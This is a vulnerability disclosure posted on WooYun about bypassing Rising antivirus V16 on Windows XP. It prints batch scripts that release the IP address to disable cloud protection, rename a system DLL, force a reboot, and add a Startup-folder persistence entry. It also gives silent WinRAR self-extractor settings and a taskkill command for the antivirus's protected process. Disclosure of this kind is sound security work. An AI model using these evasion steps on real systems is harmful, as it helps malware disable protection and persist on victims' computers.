WooYun.org

参测软件：瑞星杀毒软件V16+最新官方下载安装包
测试环境：VMware Workstation 10.0.3，Windows XP SP3 Pro，DHCP自动获取IP上网。
测试方法：瑞星杀毒以默认方式安装，开启和升级所有防护+引擎，重启系统然后运行漏洞测试代码。
安装包数字签名图

漏洞测试视频下载地址http://pan.baidu.com/s/1mgl2RHI，提取码：9nx9，解压密码:rxpoc123，为了达到最佳观看效果，请解压所有文件到同一目录下，打开rxpoc.html文件。
测试代码详细说明：
一、测试主要使用了两个批处理文件，1.bat和2.bat，下面是具体代码：
省略注释；
1.bat：
ipconfig /release #注释：用来释放ip，断开网络，使瑞星云防御失效# &shutdown -r -t 00&ren c:\windows\system32\imm32.dll imm32.dl #注释：修改imm32.dll文件名并重启系统# &copy 2.bat c:\"开始"菜单"启动"文件夹路径\2.bat #注释：让2.bat开机自启动#
2.bat:
ren c:\windows\system32\imm32.dl imm32.dll #注释：恢复imm32.dll名称#
二、用winrar把两个bat文件打包成一个exe可执行自解压文件后成功执行，自解压注释内容是：
;下面的注释包含自解压脚本命令
Path=.\poc
SavePath
Setup=1.bat
TempMode
Silent=1
Overwrite=1
测试总结：
1、简单的ipconfig /release就可以让瑞星云防护失效。
2、修改系统关键文件本来会触发Windows系统文件保护的提示，这里却被shutdown命令给绕过去了，并且结束了其他很多进程，可以被利用做很多事情。
3、瑞星对注册表添加开机启动项进行了防护却忽略了“开始”菜单里的“启动”文件夹。
4、漏洞测试成功干掉了瑞星对主进程rstray.exe的保护，如果把taskkill /im rstray.exe /t /f 写入2.bat就可以自动关闭它了。
5、此漏洞代码在同一系统下只能执行一次，再次执行就无效了？原因不知。